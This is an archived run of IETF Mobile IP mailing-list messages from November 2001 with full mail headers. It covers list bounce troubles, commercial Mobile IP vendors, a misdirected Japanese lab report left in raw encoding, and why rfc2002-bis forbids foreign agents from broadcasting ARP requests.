	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21943
	for <mobileip-archive@odin.ietf.org>; Fri, 2 Nov 2001 18:47:09 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA16624;
	Fri, 2 Nov 2001 15:46:35 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA02713;
	Fri, 2 Nov 2001 15:46:24 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2NjSQO013091
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 2 Nov 2001 15:45:28 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA2NjSYC013090
	for mobile-ip-dist; Fri, 2 Nov 2001 15:45:28 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from jurassic.eng.sun.com (jurassic [129.146.84.45] (may be forged))
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA2NjOQO013083
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 15:45:24 -0800 (PST)
Received: from onion.east.sun.com (onion.East.Sun.COM [129.148.174.110])
	by jurassic.eng.sun.com (8.12.1+Sun/8.12.1) with SMTP id fA2NjQeB129808
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 2 Nov 2001 15:45:26 -0800 (PST)
Message-Id: <200111022345.fA2NjQeB129808@jurassic.eng.sun.com>
Date: Fri, 2 Nov 2001 18:45:57 -0500 (EST)
From: Steven Glass - Solaris Software <glass@jurassic.eng.sun.com>
Subject: [mobile-ip] zygox update
To: mobile-ip@sunroof.eng.sun.com
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.5_11 SunOS 5.8.1 sun4u sparc 
Content-Type: text
X-Sun-Text-Type: ascii
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

    Those of you who have posted to the mobile ip list know there's a problem in 
that one of the addresses [indirectly] subscribed ends up bouncing with no such 
user.  Furthermore, the mail sever that returns the error strips off all the 
incoming headers, and those who own the domain seemingly refuse to return my 
email.  This address is not directly subscribed, if it were it would be history 
long before now.
    
    My recent test emails returned no such bounce,  so the address that's 
causing the problem continues to elude me, though I'm quite certain the problem 
still exists.  Please bear with me a little longer while I focus on resolving it 
once and for all.
    
                              Cheers,
                                  Steve


From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov  4 07:55:25 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA11864
	for <mobileip-archive@odin.ietf.org>; Sun, 4 Nov 2001 07:55:24 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA17921;
	Sun, 4 Nov 2001 04:54:48 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA22908;
	Sun, 4 Nov 2001 04:54:11 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA4CrKQO014728
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 4 Nov 2001 04:53:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA4CrKei014727
	for mobile-ip-dist; Sun, 4 Nov 2001 04:53:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA4CrHQO014720
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 4 Nov 2001 04:53:17 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA05693
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 4 Nov 2001 04:53:03 -0800 (PST)
Received: from smtp-2.hut.fi (smtp-2.hut.fi [130.233.228.92])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA08656
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 4 Nov 2001 05:51:13 -0700 (MST)
Received: from cc.hut.fi (root@gamma.hut.fi [130.233.228.23])
	by smtp-2.hut.fi (8.9.3/8.9.3) with ESMTP id OAA15031;
	Sun, 4 Nov 2001 14:53:14 +0200 (EET)
Message-ID: <3BE54C02.6AC89B4@cc.hut.fi>
Date: Sun, 04 Nov 2001 16:09:06 +0200
From: Tom =?iso-8859-1?Q?Weckstr=F6m?= <tweckstr@cc.hut.fi>
Organization: HUT/TKK
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686)
X-Accept-Language: fi,sv,de
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Commercial deployment o Mobile IP
References: <A1170612471BD21185B90008C7FA0A0D01F1FA3F@idcpa4.pa.interdigital.com> <000801c13b04$972cfb20$a664fea9@borg>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Chern,

Naming companies like that may be dangerous, since there might be many
companies out there that you are not aware of. It seems that you were
not aware of at least one company that implements Mobile IP on a
commercial basis - namely Lifix Systems, www.lifix.fi. I must admit my
own bias here, since at Lifix we are now commercializing the experience
and theories we have from Dynamics - HUT Mobile IP since 1998.

It's also clear that the list is (at least soon, if not already) a bit
longer, becauses 3GPP and 3GPP2 will probably force more and more
companies to implement MIP.

Regards,
	Tom


cnyap wrote:
> 
> Hi Sharif
> 
> The companies are:
> Cisco, IPunpluggd, NetSeal, BirdStep, Nextel, Sprint.
> 
> Some Information for GRX.
> http://www.gsmworld.com/technology/gprs_grx_prov.html
> 3GPP Document.
> http://www.3gpp.org/ftp/tsg_sa/WG3_Security/2000_meetings/TSGS3_15bis_Munich
> /Docs/PDF/S3z000005.pdf
> 
> Cheers
> Chern Nam Yap
> 
> ----- Original Message -----
> From: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
> To: "'cn yap'" <cnyap@gmx.net>
> Sent: Tuesday, September 11, 2001 5:44 PM
> Subject: RE: [mobile-ip] Commercial deployment o Mobile IP
> 
> > Hi Chern,
> >
> > Do you have the names and web sites of these companies?
> >
> > Also, I am interested in finding out more about GRX. Do you have the
> > 3GPP document number?
> >
> > -Sharif.
> >
> > -----Original Message-----
> > From: cn yap [mailto:cnyap@gmx.net]
> > Sent: Tuesday, September 11, 2001 5:04 AM
> > To: Sharif.Shahrier@InterDigital.com
> > Cc: mobile-ip@sunroof.eng.sun.com
> > Subject: RE: [mobile-ip] Commercial deployment o Mobile IP
> >
> >
> > Hi,
> >
> > There is about 6 companies developing mobile IP.
> > There are also about 6 companies developing
> > proprietary solutions, that is not compatible with
> > mobile IP. :)
> >
> > Still the biggest killer is GRX
> >
> > There are some other methods to resolve mobility issues
> > depend how you see it.
> > Cheers
> > Chern Nam Yap


-- 
        Tom Weckström           Dynamics group
                                Helsinki University of Technology
                                dynamics@cs.hut.fi
                                http://www.cs.hut.fi/Research/Dynamics/


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 00:48:21 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA23182
	for <mobileip-archive@lists.ietf.org>; Mon, 5 Nov 2001 00:48:20 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA05026;
	Sun, 4 Nov 2001 22:47:18 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA01913;
	Sun, 4 Nov 2001 21:47:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA55jqQO015457
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 4 Nov 2001 21:45:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA55jq0r015456
	for mobile-ip-dist; Sun, 4 Nov 2001 21:45:52 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA55jnQO015449
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 4 Nov 2001 21:45:49 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA01829
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 4 Nov 2001 21:45:52 -0800 (PST)
Received: from bluewave.nwsl.mesh.ad.jp (bluewave.nwsl.mesh.ad.jp [133.205.240.98])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA08846
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 4 Nov 2001 22:43:46 -0700 (MST)
Received: from dhcp426.6bone.nec.co.jp (bluewave.nwsl.mesh.ad.jp [133.205.240.98])
	by bluewave.nwsl.mesh.ad.jp (8.8.8+2.7Wbeta7/3.6W-BLUEWAVE) with ESMTP id OAA16401;
	Mon, 5 Nov 2001 14:45:38 +0900 (JST)
Date: Mon, 5 Nov 2001 14:45:36 +0900
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=ISO-2022-JP; format=flowed
Subject: [mobile-ip] Weekly Report 2001/10/29-11/2
From: MOMOSE Tsuyoshi <t-momose@netlab.nec.co.jp>
To: lab5@netlab.nec.co.jp, mobile-ip@sunroof.eng.sun.com
Content-Transfer-Encoding: 7bit
Message-Id: <560A5AB2-D1B0-11D5-9E97-003065F98BF2@netlab.nec.co.jp>
X-Mailer: Apple Mail (2.472)
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

2001/10/29-11/2

Internet ITS
	DSK$B%S%k$G$N@\B3;n83$K%G%s%=!<$J$I$NB><R$b;22C$7$F(B
	$BK\3J2=$7$F$$$k!#(B
	$B%G%s%=!<$O:#8e=50l$N%Z!<%9$G(BDSK$B$K$F@\B3;n83$NM=Dj(B
	$B#58&$K$b;n83N)$A2q$$$r5a$a$i$l$F$$$k!#(B($B$3$l$O4pK\E*$KI4@%$,BP=h(B)
	1. CN->MN$B$G(BPath MTU$B$r1[$($F%Q%1%C%H$rAw$m$&$H$7$F$$$k$?$a!"(B
	   $B%Q%1%C%H$,DL$i$J$$$H$$$&>c32$,H/@8$7$?!#(B
			$B"*(B CN$B$N(Bif$B$K(Bmanual$B$K(BMTU$B$r@_Dj$9$k$3$H$G$H$j$"$($:(B			   $BBP=h(B
	2. $B%G%s%=!<$N(BPC$B%Y!<%9<V:\5!(B(FIVA$B$K(BLinux with MIPL MIP6$B$r(B
	   $B$N$;$?$d$D(B)$B$H!"(BDSK$B=LB`%M%C%H%o!<%/4D6-$G@\B3;n83!#(B
	   - DoPa$BLV$r5<$7$?(BIPv6 over IPv4 netowork
	   - $B%G%s%=!<HG(BDSRC$B$r5<$7$?(Bppp network
	   $B$G$=$l$>$l!"@5$7$/(BMobileIPv6$B%Q%1%C%H$,DL$k$+$r3NG'!#(B
	   $B0\F0=hM}$O$^$@$J$7!#(B
	   $BEv=i$O(BIPv6 over IPv4 tunnel$B$K$F(BRouter->$B<V:\5!$K(BNS$B$r=P$9$,(B
	   $B<V:\5!$,Ez$($J$$$?$a$K!"DL?.$G$-$J$$$H$$$&>c32$,H/@8!#(B
	   $B$H$j$"$($:(BRouter(IX5000)$BB&$K5<;wE*$J(BNeighbor Cache$B$r;}$?$;$k(B
	   $B$3$H$GBP=h!#>-MhE*$K$O(BIX$BB&$N=$@5$,I,MW$H;W$o$l$k!#(B

$B3+8&E8<(2q=`Hw(B
	xGSN$B$NH"$@$1$OE~Ce!#(B
	$BCf$KF~$l$k(BPC$B%\!<%I$OL$$@!#(B



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 00:57:47 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA23236
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 00:57:46 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id VAA16401;
	Sun, 4 Nov 2001 21:56:51 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA02622;
	Sun, 4 Nov 2001 21:56:34 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA55tfQO015565
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 4 Nov 2001 21:55:41 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA55tfow015564
	for mobile-ip-dist; Sun, 4 Nov 2001 21:55:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA55tcQO015557
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 4 Nov 2001 21:55:38 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA16208
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 4 Nov 2001 21:55:41 -0800 (PST)
Received: from bluewave.nwsl.mesh.ad.jp (bluewave.nwsl.mesh.ad.jp [133.205.240.98])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA11832
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 4 Nov 2001 22:53:37 -0700 (MST)
Received: from dhcp426.6bone.nec.co.jp (bluewave.nwsl.mesh.ad.jp [133.205.240.98])
	by bluewave.nwsl.mesh.ad.jp (8.8.8+2.7Wbeta7/3.6W-BLUEWAVE) with ESMTP id OAA16444;
	Mon, 5 Nov 2001 14:55:34 +0900 (JST)
Date: Mon, 5 Nov 2001 14:55:32 +0900
Subject: Re: [mobile-ip] Weekly Report 2001/10/29-11/2
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
Cc: MOMOSE Tsuyoshi <t-momose@netlab.nec.co.jp>
To: mobile-ip@sunroof.eng.sun.com
From: MOMOSE Tsuyoshi <t-momose@netlab.nec.co.jp>
In-Reply-To: <560A5AB2-D1B0-11D5-9E97-003065F98BF2@netlab.nec.co.jp>
Message-Id: <B9228895-D1B1-11D5-9E97-003065F98BF2@netlab.nec.co.jp>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.472)
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I'm very sorry.
I have sent wrong mail to the list.
Please ignore.


--------------
Tsuyoshi MOMOSE
NEC Networks Development Laboratries 5th lab.



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 03:18:32 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09056
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 03:18:31 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id AAA16757;
	Mon, 5 Nov 2001 00:17:33 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA28292;
	Mon, 5 Nov 2001 00:17:21 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA58FVQO015821
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 00:15:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA58FVd3015820
	for mobile-ip-dist; Mon, 5 Nov 2001 00:15:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA58FRQO015813
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 00:15:28 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA14061
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 00:15:29 -0800 (PST)
Received: from mail.detecon.net (mail.detecon.net [194.25.60.3])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA09821
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 00:15:28 -0800 (PST)
Received: from dc035.detecon.com (194.25.53.36 [194.25.53.36]) by mail.detecon.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id VX3DZ917; Mon, 5 Nov 2001 09:15:31 +0100
content-class: urn:content-classes:message
Subject: RE: [mobile-ip] Question of FA obtaining MAC addresses
Date: Mon, 5 Nov 2001 09:15:15 +0100
Message-ID: <0027E1DC4F2F744DBE07D728CB88BC7F278D0E@hq032.bonn.detecon.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Thread-Topic: [mobile-ip] Question of FA obtaining MAC addresses
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
Thread-Index: AcFiTB6RglGGYs4sEdW7pgCgyTDCJgDg+gLg
From: "Lorang, Martin" <Martin.Lorang@detecon.com>
To: <mobile-ip@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fA58FSQO015814
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

-- Sharif wrote --

One of the "major changes" listed in rfc2002-bis is that the foreign
agent
is not permitted to broadcast an ARP Request on all its local links, in
order to retreive the MAC address of a mobile node.

However, in RFC2002, I did not see any text that prohibits this action.

-- End Sharif

Unfortunately, I can't answer Your question but only add another one:

_Why_ is the foreign agent not allowed anymore to use broadcast ARP? 

As far as I can see, draft-...-rfc2002-bis-08.txt does not give any
reasons for this deviation from RFC2002. If I missed something (it's
extremely hard to search in the Mobile IP e-mail list archive), please
let me know.


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 04:00:11 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA09358
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 04:00:10 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id AAA28781;
	Mon, 5 Nov 2001 00:59:32 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA11091;
	Mon, 5 Nov 2001 00:58:52 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA58vxQO015971
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 00:57:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA58vxBg015970
	for mobile-ip-dist; Mon, 5 Nov 2001 00:57:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA58vsQO015963
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 00:57:54 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA11040
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 00:57:42 -0800 (PST)
Received: from muminmamman.lifix.fi ([195.238.204.197])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA14046
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:57:39 -0700 (MST)
Received: from ban by muminmamman.lifix.fi with local (Exim 3.32 #1 (Debian))
	id 160fZr-0001MC-00
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 05 Nov 2001 10:57:55 +0200
Date: Mon, 5 Nov 2001 10:57:55 +0200
From: Bjorn Andersson <bjorn@lifix.fi>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Question of FA obtaining MAC addresses
Message-ID: <20011105105755.B600@lifix.fi>
Mail-Followup-To: Bjorn Andersson <bjorn@lifix.fi>,
	mobile-ip@sunroof.eng.sun.com
References: <0027E1DC4F2F744DBE07D728CB88BC7F278D0E@hq032.bonn.detecon.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <0027E1DC4F2F744DBE07D728CB88BC7F278D0E@hq032.bonn.detecon.com>
User-Agent: Mutt/1.3.20i
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Mon, Nov 05 2001, at 09:15:15 +0100, Lorang, Martin wrote:
> -- Sharif wrote --
> 
> One of the "major changes" listed in rfc2002-bis is that the foreign
> agent
> is not permitted to broadcast an ARP Request on all its local links, in
> order to retreive the MAC address of a mobile node.
> 
> However, in RFC2002, I did not see any text that prohibits this action.
> 
> -- End Sharif
> 
> Unfortunately, I can't answer Your question but only add another one:
> 
> _Why_ is the foreign agent not allowed anymore to use broadcast ARP? 
> 
> As far as I can see, draft-...-rfc2002-bis-08.txt does not give any
> reasons for this deviation from RFC2002. If I missed something (it's
> extremely hard to search in the Mobile IP e-mail list archive), please
> let me know.

I have personally come across one practical problem when deploying a
foreign agent in a network that I did not completly administer. In this
network the gateway responded to ARP requests for all IP addresses
that did not match those of the local network. When a mobile node
came to the foreign network, and the FA wanted to reply to the MN,
the gateway answered to the ARP request, since the address of the MN
was not one from the local network. The MN never got the packet.

I don't know how common it is to use proxy ARP in this way.

Another thing is that using ARP consumes bandwidth and is redundant,
since all needed information can be obtained from the MIP protocol
messages.

The authors maybe have other reasons?

  Bjorn

-- 
Bjorn Andersson <bjorn@lifix.fi>                       +358 50 341 2556
Lifix Systems Oy <http://www.lifix.fi/>                 PGP id 5AFC144B
Yliopistonkatu 5, 3rd floor; FIN-00100 Helsinki


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 04:17:54 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA09537
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 04:17:54 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA04918;
	Mon, 5 Nov 2001 01:17:07 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA13126;
	Mon, 5 Nov 2001 01:16:32 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA59FXQO016160
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:15:33 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA59FXU5016159
	for mobile-ip-dist; Mon, 5 Nov 2001 01:15:33 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA59FUQO016152
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:15:30 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA19140
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 01:15:33 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA05085
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 02:13:25 -0700 (MST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fA59FMB12345
